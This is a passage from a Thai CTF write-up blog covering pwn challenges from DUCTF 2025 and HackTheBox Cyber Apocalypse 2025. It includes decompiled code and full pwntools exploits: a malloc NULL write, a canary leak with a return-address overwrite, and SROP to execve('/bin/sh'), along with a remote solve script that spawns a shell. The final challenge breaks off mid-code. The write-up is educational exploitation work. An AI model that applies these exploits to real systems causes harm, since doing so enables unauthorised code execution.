<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753011592679/6f37bab1-f34a-4f7a-bdd5-800437cf00e7.png" alt class="image--center mx-auto" /></p>
<p>กรรม ไม่เวิคเฉยยยยยยย</p>
<p>เลยกลับไปลอง spawn docker ที่ทางผู้จัดให้มาแล้วลอง attach gdb ไปดูพบว่าจริง ๆ ที่ตายมันตายที่ <code>obj→ob_refcnt</code> ที่ env เรามัน +2 แต่ใน docker มัน +1 อันนี้ยังไม่ได้ลอง debug ต่อแต่คิดว่าน่าจะเพราะตอน debug มี code ที่ ref มากกว่าโจทย์ เลยลองแก้ <code>obj→obj_refcnt</code> เป็น -1 แล้วหวดอีกรอบค้อฟ</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753011794236/22749191-774a-4a88-aa67-9d302b2bca00.png" alt class="image--center mx-auto" /></p>
<p>จะเห็นว่าเราสามารถควยคุม dick และ spawn shell ได้ตามต้องการแล้ว เย้</p>
<p><img src="https://i.imgflip.com/a0sa1l.jpg" alt class="image--center mx-auto" /></p>
<p><strong>solve.py</strong></p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *


p = remote(<span class="hljs-string">"chal.2025.ductf.net"</span>, <span class="hljs-number">30001</span>)


p.recvuntil(<span class="hljs-string">b"addrof(obj) = "</span>)
obj_addr = int(p.recvline().strip(), <span class="hljs-number">16</span>)
print(<span class="hljs-string">f"obj_addr:<span class="hljs-subst">{hex(obj_addr)}</span>"</span>)

p.recvuntil(<span class="hljs-string">b"system = "</span>)
system_addr = int(p.recvline().strip(), <span class="hljs-number">16</span>)

print(<span class="hljs-string">f"system_addr:<span class="hljs-subst">{hex(system_addr)}</span>"</span>)

fakeobj_data = <span class="hljs-string">b""</span>

fakeobj_data += p64(<span class="hljs-number">0x0068732f6e69622f</span><span class="hljs-number">-1</span>) <span class="hljs-comment"># 1 head</span>
fakeobj_data += p64(obj_addr<span class="hljs-number">-0x88</span>+<span class="hljs-number">24</span>+<span class="hljs-number">8</span>) <span class="hljs-comment"># functype</span>
fakeobj_data += p64(<span class="hljs-number">0</span>)
fakeobj_data += p64(<span class="hljs-number">0</span>) 
fakeobj_data += p64(system_addr)
fakeobj_data += p64(<span class="hljs-number">0</span>)
fakeobj_data += p64(<span class="hljs-number">0</span>)
fakeobj_data += p64(<span class="hljs-number">0</span>)
fakeobj_data += p64(<span class="hljs-number">0</span>)

p.sendline(fakeobj_data.hex())

p.interactive()
</code></pre>
]]></content:encoded></item><item><title><![CDATA[[Pwnable] HackTheBox Cyber Apocalypse CTF 2025]]></title><description><![CDATA[วีคที่แล้วไปเล่น Cyber Apocalypse CTF ของ HackTheBox มาโดยตีมงานปีนี้เป็นตีมแฟนตาซี(แต่หวดโจทย์อย่างเดียวไม่ได้ซึมซับเนื้อหาเท่าไร lol) โจทย์ Pwnable ปีนี้ยากกว่าปีที่แล้วเล็กน้อย แต่ไม่ได้ถือว่ายากมาก ใครสนใจลองไปเล่นดูครับ เสียดายที่ปีนี้ติดธุระเลย...]]></description><link>https://pwn8.xyz/pwnable-hackthebox-cyber-apocalypse-ctf-2025</link><guid isPermaLink="true">https://pwn8.xyz/pwnable-hackthebox-cyber-apocalypse-ctf-2025</guid><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[Binary Exploitation]]></category><dc:creator><![CDATA[pwn8]]></dc:creator><pubDate>Tue, 01 Apr 2025 18:33:17 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1743516402163/cdebb7bc-cf6d-4baf-9b0c-2e8c2021f33c.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>วีคที่แล้วไปเล่น Cyber Apocalypse CTF ของ HackTheBox มาโดยตีมงานปีนี้เป็นตีมแฟนตาซี(แต่หวดโจทย์อย่างเดียวไม่ได้ซึมซับเนื้อหาเท่าไร lol) โจทย์ Pwnable ปีนี้ยากกว่าปีที่แล้วเล็กน้อย แต่ไม่ได้ถือว่ายากมาก ใครสนใจลองไปเล่นดูครับ เสียดายที่ปีนี้ติดธุระเลยไม่ได้ทำให้ครบทุกข้อ กับติดโง่ ๆ หลายข้อเลยเสียเวลาเยอะไปหน่อย ถ้ามีเวลาว่างเยอะกว่านี้น่าจะ Solve ได้หมด ไม่เป็นไรปีหน้าเอาใหม่แต่ปีนี้มาเริ่มข้อแรกกันก่อน</p>
<hr />
<h2 id="heading-pwn-blessing-very-easy">Pwn - Blessing - Very Easy</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743518743491/c74b483e-bfd5-4eee-8865-ee5d1e2c9cd0.jpeg" alt class="image--center mx-auto" /></p>
<p><strong>Binary Security:</strong></p>
<pre><code class="lang-plaintext">    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'./glibc/'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
</code></pre>
<p>ข้อนี้ Binary ให้มาใน function main สั้น ๆ โดยที่โจทย์ต้องการให้เราเขียนค่าที่ตำแหน่ง <code>heap_with_leak_addr</code> ให้เป็น <code>NULL</code> [2] ผมได้ reverse ได้โปรแกรมหน้าตาประมาณนี้</p>
<pre><code class="lang-c"><span class="hljs-function">undefined8 <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>

</span>{
  <span class="hljs-keyword">long</span> in_FS_OFFSET;
  <span class="hljs-keyword">size_t</span> size;
  ulong local_28;
  <span class="hljs-keyword">long</span> *heap_with_leak_addr;
  <span class="hljs-keyword">void</span> *heap2;
  <span class="hljs-keyword">long</span> local_10;

  local_10 = *(<span class="hljs-keyword">long</span> *)(in_FS_OFFSET + <span class="hljs-number">0x28</span>);
  setup();
  banner();
  size = <span class="hljs-number">0</span>;
  heap_with_leak_addr = (<span class="hljs-keyword">long</span> *)<span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x30000</span>);
  *heap_with_leak_addr = <span class="hljs-number">1</span>;
  printstr(
          <span class="hljs-string">"In the ancient realm of Eldoria, a roaming bard grants you good luck and offers you a gif t!\n\nPlease accept this: "</span>
          );
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%p"</span>,heap_with_leak_addr);      <span class="hljs-comment">// [4] Leak target addr LOL </span>
  sleep(<span class="hljs-number">1</span>);
  <span class="hljs-keyword">for</span> (local_28 = <span class="hljs-number">0</span>; local_28 &lt; <span class="hljs-number">0xe</span>; local_28 = local_28 + <span class="hljs-number">1</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"\b \b"</span>);
    usleep(<span class="hljs-number">60000</span>);
  }
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"\n"</span>);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s[%sBard%s]: Now, I want something in return...\n\nHow about a song?\n\nGive me the song\ 's length: "</span>
         ,&amp;DAT_00102063,&amp;DAT_00102643,&amp;DAT_00102063);
  __isoc99_scanf(&amp;DAT_001026b1,&amp;size);
  heap2 = <span class="hljs-built_in">malloc</span>(size);            <span class="hljs-comment">// [1] Malloc with controllable size </span>
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"\n%s[%sBard%s]: Excellent! Now tell me the song: "</span>,&amp;DAT_00102063,&amp;DAT_00102643,
         &amp;DAT_00102063);
  read(<span class="hljs-number">0</span>,heap2,size);
  *(undefined8 *)((<span class="hljs-keyword">long</span>)heap2 + (size - <span class="hljs-number">1</span>)) = <span class="hljs-number">0</span>; <span class="hljs-comment">// [3] write NULL AT heap2[size-1]</span>
  write(<span class="hljs-number">1</span>,heap2,size);
  <span class="hljs-keyword">if</span> (*heap_with_leak_addr == <span class="hljs-number">0</span>) { <span class="hljs-comment">// [2] Win condition</span>
    read_flag();
  }
  <span class="hljs-keyword">else</span> {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"\n%s[%sBard%s]: Your song was not as good as expected...\n\n"</span>,&amp;DAT_001026e9,
           &amp;DAT_00102643,&amp;DAT_001026e9);
  }
  <span class="hljs-keyword">if</span> (local_10 != *(<span class="hljs-keyword">long</span> *)(in_FS_OFFSET + <span class="hljs-number">0x28</span>)) {
                    <span class="hljs-comment">/* WARNING: Subroutine does not return */</span>
    __stack_chk_fail();
  }
  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>ข้อนี้ง่าย ๆ จะบอกว่าเป็นบัคมั้ย? จริง ๆ มันคือการทำงานปกติของ malloc ถ้าเราไปอ่าน Manpage ของ malloc ก็จะพบข้อมูลนี้อยู่แล้ว คือถ้าเรา allocate ค่าเกิน PTRDIFF_MAX (เท่าไรไม่รู้ ไป search ดู) จะถือว่าเป็น Err และ Return <code>NULL</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743517587041/c3878325-eed6-4aed-84f6-38bd99f033a6.png" alt class="image--center mx-auto" /></p>
<p>งั้นแปลว่าถ้าเรา malloc ขอ size ในขนาดที่เกินจาก PTRDIFF_MAX ค่าของ heap2 จะเป็น <code>NULL</code> จะทำให้ งั้นถ้าเราใส่ Size เป็น address+1 เราจะสามารถไปเขียน <code>NULL</code> ที่ address นั้นได้จาก code ในส่วนที่ [3]</p>
<pre><code class="lang-c"><span class="hljs-comment">// heap = 0</span>
<span class="hljs-comment">// size = 0x123456+1</span>
*(undefined8 *)((<span class="hljs-keyword">long</span>)heap2 + (size - <span class="hljs-number">1</span>)) = <span class="hljs-number">0</span>;
<span class="hljs-comment">// *(0+0x123456) = 0;</span>
</code></pre>
<p>ซึ่งถ้าถามว่าต้องไปเขียนที่ไหน โจทย์ข้อนี้ใจดี แจก Heap Address ที่ต้องเขียนมาให้ [4] ไม่ต้องไปหาเอง lol</p>
<p>ข้อนี้ไม่ต้องเขียน exploit ก็ได้ เอาค่า address ที่โจทย์ส่งมาให้ไป +1 แล้วตอบ แค่นี้ก็ได้ flag แล้ว</p>
<p><strong>Full Exploit</strong></p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-string">"""

"""</span>
<span class="hljs-comment"># Load the binary</span>
exe = ELF(<span class="hljs-string">"blessing"</span>)

<span class="hljs-comment"># Set context</span>
context.binary = exe
<span class="hljs-comment"># context.log_level = "DEBUG"</span>
context.terminal = [<span class="hljs-string">'tmux'</span>, <span class="hljs-string">'splitw'</span>, <span class="hljs-string">'-h'</span>]

<span class="hljs-comment"># shortcuts</span>
ru          = <span class="hljs-keyword">lambda</span> a:         p.readuntil(a)
r           = <span class="hljs-keyword">lambda</span> n:         p.read(n)
rl          = <span class="hljs-keyword">lambda</span> :         p.recvline()
sla         = <span class="hljs-keyword">lambda</span> a,b:       p.sendlineafter(a,b)
sa          = <span class="hljs-keyword">lambda</span> a,b:       p.sendafter(a,b)
sl          = <span class="hljs-keyword">lambda</span> a:         p.sendline(a)
s           = <span class="hljs-keyword">lambda</span> a:         p.send(a)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">conn</span>():</span>
    <span class="hljs-keyword">if</span> args.LOCAL:
        p = process([exe.path])
    <span class="hljs-keyword">elif</span> args.GDB:
        p = process([exe.path])
        gdb.attach(p, gdbscript=<span class="hljs-string">"b *main+391"</span>)
    <span class="hljs-keyword">else</span>:
        p = remote(<span class="hljs-string">"X"</span>, <span class="hljs-number">1</span>) 
    <span class="hljs-keyword">return</span> p

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    <span class="hljs-keyword">global</span> p
    p = conn()

    <span class="hljs-comment"># Step 1: Leak the address of heap_with_leak_addr</span>
    ru(<span class="hljs-string">b"Please accept this: "</span>)
    heap_with_leak_addr = int(r(<span class="hljs-number">14</span>).strip(), <span class="hljs-number">16</span>)
    log.info(<span class="hljs-string">f"Leaked heap_with_leak_addr: <span class="hljs-subst">{hex(heap_with_leak_addr)}</span>"</span>)
    sla(<span class="hljs-string">b"length: "</span>, str(heap_with_leak_addr+<span class="hljs-number">1</span>).encode())
    sl(<span class="hljs-string">b""</span>)
    p.interactive()

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<hr />
<h2 id="heading-pwn-quack-quack-very-easy">Pwn - Quack Quack - Very Easy</h2>
<p><strong>Binary Security</strong></p>
<pre><code class="lang-plaintext">    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'./glibc/'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
</code></pre>
<p>ข้อนี้บัคอยู่ที่ function duckling โดยเป็น Buffer overflow ทั่วไปแต่มี gimmick เล็ก ๆ เป็นการให้เราใส่ “Quack Quack” เพื่อไป Leak Canary แล้วก็ overflow ไปทับ saved RIP ของ function duckling นั่นเอง</p>
<pre><code class="lang-c">
<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">duckling</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>

</span>{
  <span class="hljs-keyword">char</span> *pcVar1;
  <span class="hljs-keyword">long</span> in_FS_OFFSET;
  <span class="hljs-keyword">char</span> local_88 [<span class="hljs-number">32</span>];
[Snipped]
  <span class="hljs-keyword">long</span> Canary = *(<span class="hljs-keyword">long</span> *)(in_FS_OFFSET + <span class="hljs-number">0x28</span>);
  local_88[<span class="hljs-number">0</span><span class="hljs-number">-0x1f</span>] = <span class="hljs-string">'\0'</span>;
[Snipped]

  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Quack the Duck!\n\n&gt; "</span>);
  fflush(<span class="hljs-built_in">stdout</span>);
  read(<span class="hljs-number">0</span>,local_88,<span class="hljs-number">102</span>);
  pcVar1 = <span class="hljs-built_in">strstr</span>(local_88,<span class="hljs-string">"Quack Quack "</span>); 
  <span class="hljs-keyword">if</span> (pcVar1 == (<span class="hljs-keyword">char</span> *)<span class="hljs-number">0x0</span>) {
    error(<span class="hljs-string">"Where are your Quack Manners?!\n"</span>);
                    <span class="hljs-comment">/* WARNING: Subroutine does not return */</span>
    <span class="hljs-built_in">exit</span>(<span class="hljs-number">0x520</span>);
  }
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Quack Quack %s, ready to fight the Duck?\n\n&gt; "</span>,pcVar1 + <span class="hljs-number">0x20</span>); <span class="hljs-comment">// [1] pcVar1+0x20</span>
  read(<span class="hljs-number">0</span>,&amp;local_68,<span class="hljs-number">0x6a</span>); <span class="hljs-comment">// [2] overflow here </span>
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Did you really expect to win a fight against a Duck?!\n"</span>);
  <span class="hljs-keyword">if</span> (local_10 != *(<span class="hljs-keyword">long</span> *)(in_FS_OFFSET + <span class="hljs-number">0x28</span>)) {
                    <span class="hljs-comment">/* WARNING: Subroutine does not return */</span>
    __stack_chk_fail();
  }
  <span class="hljs-keyword">return</span>;
}
</code></pre>
<p>โดยเราจะเห็นเราจะ printf ในตำแหน่งที่ถัดจากคำว่า “Quack Quack “ ไปอีก 0×20 ตำแหน่ง[1]</p>
<pre><code class="lang-c"><span class="hljs-built_in">printf</span>(<span class="hljs-string">"Quack Quack %s, ready to fight the Duck?\n\n&gt; "</span>,pcVar1 + <span class="hljs-number">0x20</span>); <span class="hljs-comment">// [1] pcVar1+0x20</span>
</code></pre>
<p>งั้นเราก็แค่ align ให้ตำแหน่งของที่ printf ไปที่ canary เราก็จะได้ canary มาแล้ว</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743519222528/87fffdde-48fa-46ec-9a00-40a08b95c3bf.png" alt class="image--center mx-auto" /></p>
<p>จากนั้นเมื่อเราได้ canary แล้วเราก็ overflow ไปทับ canary เสมือนว่าค่าไม่เคยถูกเปลี่ยนแปลง และก็ทับ saved rip จากการ overflow ที่นั่นเอง [2]</p>
<pre><code class="lang-c">  read(<span class="hljs-number">0</span>,&amp;local_68,<span class="hljs-number">0x6a</span>); <span class="hljs-comment">// [2] overflow here</span>
</code></pre>
<p>ข้อนี้เราไม่ต้อง rop ให้ยุ่งยางเพราะเค้าเตรียม function มาให้ใช้อยู่แล้ว แถม Binary ไม่ได้เปิด PIE เราแค่เอา address ของ <code>dick_attack</code> ไปแปะเท่านั้นเอง</p>
<pre><code class="lang-c">
<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">dick_attack</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>
</span>{
  <span class="hljs-keyword">ssize_t</span> sVar1;
  <span class="hljs-keyword">long</span> in_FS_OFFSET;
  <span class="hljs-keyword">char</span> local_15;
  <span class="hljs-keyword">int</span> local_14;
  <span class="hljs-keyword">long</span> local_10;

  local_10 = *(<span class="hljs-keyword">long</span> *)(in_FS_OFFSET + <span class="hljs-number">0x28</span>);
  local_14 = open(<span class="hljs-string">"./flag.txt"</span>,<span class="hljs-number">0</span>);
  <span class="hljs-keyword">if</span> (local_14 &lt; <span class="hljs-number">0</span>) {
    perror(<span class="hljs-string">"\nError opening flag.txt, please contact an Administrator\n"</span>);
                    <span class="hljs-comment">/* WARNING: Subroutine does not return */</span>
    <span class="hljs-built_in">exit</span>(<span class="hljs-number">1</span>);
  }
  <span class="hljs-keyword">while</span>( <span class="hljs-literal">true</span> ) {
    sVar1 = read(local_14,&amp;local_15,<span class="hljs-number">1</span>);
    <span class="hljs-keyword">if</span> (sVar1 &lt; <span class="hljs-number">1</span>) <span class="hljs-keyword">break</span>;
    fputc((<span class="hljs-keyword">int</span>)local_15,<span class="hljs-built_in">stdout</span>);
  }
  close(local_14);
  <span class="hljs-keyword">if</span> (local_10 != *(<span class="hljs-keyword">long</span> *)(in_FS_OFFSET + <span class="hljs-number">0x28</span>)) {
                    <span class="hljs-comment">/* WARNING: Subroutine does not return */</span>
    __stack_chk_fail();
  }
  <span class="hljs-keyword">return</span>;
}
</code></pre>
<p><strong>Full Exploit</strong></p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

exe = ELF(<span class="hljs-string">"quack_quack"</span>)

context.binary = exe
context.log_level = <span class="hljs-string">"DEBUG"</span>
context.terminal = [<span class="hljs-string">'tmux'</span>, <span class="hljs-string">'splitw'</span>, <span class="hljs-string">'-h'</span>]


<span class="hljs-comment"># Shortcut</span>
ru          = <span class="hljs-keyword">lambda</span> a:         p.readuntil(a)
r           = <span class="hljs-keyword">lambda</span> n:         p.read(n)
rl           = <span class="hljs-keyword">lambda</span> :         p.recvline()
sla         = <span class="hljs-keyword">lambda</span> a,b:       p.sendlineafter(a,b)
sa          = <span class="hljs-keyword">lambda</span> a,b:       p.sendafter(a,b)
sl          = <span class="hljs-keyword">lambda</span> a:         p.sendline(a)
s           = <span class="hljs-keyword">lambda</span> a:         p.send(a)


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">conn</span>():</span>
    <span class="hljs-keyword">if</span> args.LOCAL:
        p = process([exe.path])
    <span class="hljs-keyword">elif</span> args.GDB:
        p = process([exe.path])
        gdb.attach(p, gdbscript=<span class="hljs-string">"""
        b *duckling+292
        b *duckling+216
        """</span>)
    <span class="hljs-keyword">else</span>:
        p = remote(<span class="hljs-string">"X"</span>, <span class="hljs-number">1</span>)
    <span class="hljs-keyword">return</span> p


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    <span class="hljs-keyword">global</span> p
    p = conn()
    <span class="hljs-comment"># good luck pwning :)</span>
    buf = flat({<span class="hljs-number">89</span>:<span class="hljs-string">b"Quack Quack "</span>})
    sla(<span class="hljs-string">b"&gt;"</span>, buf)
    <span class="hljs-comment"># leak canary </span>
    ru(<span class="hljs-string">"Quack Quack "</span>)
    canary = u64(r(<span class="hljs-number">7</span>).ljust(<span class="hljs-number">8</span>, <span class="hljs-string">b"\x00"</span>))&lt;&lt;<span class="hljs-number">8</span> <span class="hljs-comment"># last byte is NULL</span>
    print(<span class="hljs-string">f"canary: <span class="hljs-subst">{hex(canary)}</span>"</span>)

    buf2 = flat({<span class="hljs-number">0x58</span>:p64(canary), <span class="hljs-number">0x68</span>:p64(<span class="hljs-number">0x00040137f</span>)})
    sla(<span class="hljs-string">b"&gt;"</span>, buf2)
    p.interactive()


<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<hr />
<h2 id="heading-pwn-laconic-easy">Pwn - Laconic - Easy</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743521555128/07f64703-5873-441f-b94c-00d9ba7b171d.jpeg" alt class="image--center mx-auto" /></p>
<p><strong>Binary Security:</strong></p>
<pre><code class="lang-plaintext">    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x42000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
</code></pre>
<p>ข้อนี้ Permission ประหลาด ไม่มี Protection อะไรเลย แต่เป็นอีกข้อที่เสียเวลาแบบโง่ ๆ เพราะลืมสิ่งที่เรียกว่า <a target="_blank" href="https://en.wikipedia.org/wiki/Sigreturn-oriented_programming">SROP</a> LOL</p>
<p>ก่อนไปหวดเรามีดู Code กันก่อนว่าโปรแกรมนี้มันทำงานอะไร</p>
<pre><code class="lang-plaintext">
                             undefined processEntry entry()
             undefined         &lt;UNASSIGNED&gt;   &lt;RETURN&gt;
                             _start                                          XREF[4]:     Entry Point(*), 00042018(*), 
                             __start                                                      00042088(*), 
                             entry                                                        _elfSectionHeaders::00000050(*)  
        00043000 48 c7 c7        MOV        RDI,0x0
                 00 00 00 00
        00043007 48 89 e6        MOV        RSI,RSP
        0004300a 48 83 ee 08     SUB        RSI,0x8
        0004300e 48 c7 c2        MOV        RDX,0x106
                 06 01 00 00
        00043015 0f 05           SYSCALL
        00043017 c3              RET
        00043018 58              ??         58h    X
        00043019 c3              ??         C3h
</code></pre>
<p>แหม ไม่มีแม้กระทั่ง main ข้อนี้หลัก ๆ คือมันเรียก <code>sys_write(0, rsp-0×8, 0×106)</code> ซึ่งคือ Buffer overflow ธรรมดา ความยากของข้อนี้ไม่ใช่การหาบัคแต่เป็นการ exploit มากกว่า ตอนแรกนึกว่าต้อง <code>jmp rsp</code> ลง shellcode แต่ก็ไม่มี gadget</p>
<p>เลยคิดว่างั้นต้อง rop เรียก <code>sys_execve()</code> แต่หา gadget ที่ control <code>rdi</code> ไม่เจอ</p>
<p>เจอแค่ตัวเดียวที่พอจะมีประโยชน์คือ</p>
<pre><code class="lang-plaintext">0x0000000000043018: pop rax; ret;
</code></pre>
<p>ซึ่งถ้าเราไปดู Syscall table คือเราสามารถ control ได้ว่าเราจะเลือก syscall ไหน แต่ถ้าเราจะ execute command ยังไงก็ต้อง control <code>rdi</code>,<code>rsi</code> อยู่ดี</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743520859131/a804171e-10e8-4c44-89ac-d3683e4bae72.png" alt class="image--center mx-auto" /></p>
<p>สุดท้ายเลยถาม Grok ว่ามี syscall ไหนบ้างที่ spawn shell ได้ น้องลิสท์มาให้เลยเจอกับ <code>syscall_rt_sigreturn</code> เลยจำได้ว่าเอ่อมันมี SROP อยู่นี่นา condition ตรงด้วยคือ control <code>rax</code> และ stack เพื่อใส่ context ได้ แค่นี้ก็เรียก command อะไรก็ได้แล้ว เป็นท่าที่ไม่ค่อยได้ใช้เท่าไรเพราะมันง่ายจนไม่ค่อยมีที่ไหนออกโจทย์เลยลืม 🤦‍♂️(แบบนี้นับว่ายากป่ะนะ 🤣)</p>
<p><strong>Full Exploit</strong></p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

exe = ELF(<span class="hljs-string">"laconic"</span>)

context.binary = exe
context.log_level = <span class="hljs-string">"DEBUG"</span>
context.terminal = [<span class="hljs-string">'tmux'</span>, <span class="hljs-string">'splitw'</span>, <span class="hljs-string">'-h'</span>]


<span class="hljs-comment"># Shortcut</span>
ru          = <span class="hljs-keyword">lambda</span> a:         p.readuntil(a)
r           = <span class="hljs-keyword">lambda</span> n:         p.read(n)
rl           = <span class="hljs-keyword">lambda</span> :         p.recvline()
sla         = <span class="hljs-keyword">lambda</span> a,b:       p.sendlineafter(a,b)
sa          = <span class="hljs-keyword">lambda</span> a,b:       p.sendafter(a,b)
sl          = <span class="hljs-keyword">lambda</span> a:         p.sendline(a)
s           = <span class="hljs-keyword">lambda</span> a:         p.send(a)


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">conn</span>():</span>
    <span class="hljs-keyword">if</span> args.LOCAL:
        p = process([exe.path])
    <span class="hljs-keyword">elif</span> args.GDB:
        p = process([exe.path])
        gdb.attach(p, gdbscript=<span class="hljs-string">"b *_start+25"</span>)
    <span class="hljs-keyword">else</span>:
        p = remote(<span class="hljs-string">"X"</span>, <span class="hljs-number">1</span>)
    <span class="hljs-keyword">return</span> p


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    <span class="hljs-keyword">global</span> p
    p = conn()
    binsh =  <span class="hljs-number">0x43238</span> 
    <span class="hljs-comment"># good luck pwning :)</span>
    buf = <span class="hljs-string">b"/bin/sh\x00"</span> <span class="hljs-comment">#  why? </span>
    frame = SigreturnFrame()
    frame.rax = <span class="hljs-number">59</span>          <span class="hljs-comment"># Syscall number for execve</span>
    frame.rdi = binsh <span class="hljs-comment"># Address of "/bin/sh"</span>
    frame.rsi = <span class="hljs-number">0</span>           <span class="hljs-comment"># argv = NULL</span>
    frame.rdx = <span class="hljs-number">0</span>           <span class="hljs-comment"># envp = NULL</span>
    frame.rip = <span class="hljs-number">0x0000000000043015</span> <span class="hljs-comment"># Return to `syscall; ret` to execute the syscall</span>
    frame.rsp = <span class="hljs-number">0xdeadbeef</span>  <span class="hljs-comment"># Fake stack pointer (adjust as needed)</span>
    buf += p64(<span class="hljs-number">0x0000000000043018</span>) <span class="hljs-comment"># pop rax; ret;</span>
    buf += p64(<span class="hljs-number">0xf</span>)                <span class="hljs-comment"># rax = 0xf ; rt_sigreturn</span>
    buf += p64(<span class="hljs-number">0x0000000000043015</span>) <span class="hljs-comment"># syscall ret</span>
    buf += bytes(frame)
    sl(buf)

    p.interactive()


<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<hr />
<h2 id="heading-pwn-crossbow-easy">Pwn - Crossbow - Easy</h2>
<p><strong>Binary Security:</strong></p>
<pre><code class="lang-plaintext">    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
    Debuginfo:  Yes
</code></pre>
<p>ข้อนี้ Flow การทำงานหลัก ๆ จะอยู่ที่ function target_dummy ข้อนี้บัคหาง่ายมากอยากให้ลองหาดูก่อนเฉลยนะครับ</p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">training</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>

</span>{
  <span class="hljs-keyword">long</span> target_arr [<span class="hljs-number">4</span>];

  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n[%sSir Alaric%s]: You only have 1 shot, don\'t miss!!\n"</span>,&amp;DAT_0040b4a8,&amp;DAT_0040b00e,
         &amp;DAT_0040b4a8);
  target_dummy(target_arr);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n[%sSir Alaric%s]: That was quite a shot!!\n\n"</span>,&amp;DAT_0040b4a8,&amp;DAT_0040b00e,
         &amp;DAT_0040b4a8);
  <span class="hljs-keyword">return</span>;
}
</code></pre>
<pre><code class="lang-c">
<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">target_dummy</span><span class="hljs-params">(<span class="hljs-keyword">long</span> *target_arg)</span>

</span>{
  <span class="hljs-keyword">int</span> iVar1;
  <span class="hljs-keyword">long</span> idx;
  <span class="hljs-keyword">void</span> *buf;
  <span class="hljs-keyword">char</span> *pcVar2;
  <span class="hljs-keyword">long</span> idx_;

  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n[%sSir Alaric%s]: Select target to shoot: "</span>,&amp;DAT_0040b4a8,&amp;DAT_0040b00e,&amp;DAT_0040b4a8)
  ;
  iVar1 = <span class="hljs-built_in">scanf</span>(<span class="hljs-string">"%d%*c"</span>,&amp;idx_);
  <span class="hljs-keyword">if</span> (iVar1 != <span class="hljs-number">1</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n[%sSir Alaric%s]: Are you aiming for the birds or the target kid?!\n\n"</span>,
           &amp;DAT_0040b4e4,&amp;DAT_0040b00e,&amp;DAT_0040b4e4);
                    <span class="hljs-comment">/* WARNING: Subroutine does not return */</span>
    <span class="hljs-built_in">exit</span>(<span class="hljs-number">0x520</span>);
  }
  idx = (<span class="hljs-keyword">long</span>)(<span class="hljs-keyword">int</span>)idx_;
  buf = <span class="hljs-built_in">calloc</span>(<span class="hljs-number">1</span>,<span class="hljs-number">0x80</span>);
  target_arg[idx] = (<span class="hljs-keyword">long</span>)buf;
  <span class="hljs-keyword">if</span> (target_arg[idx] == <span class="hljs-number">0</span>) {
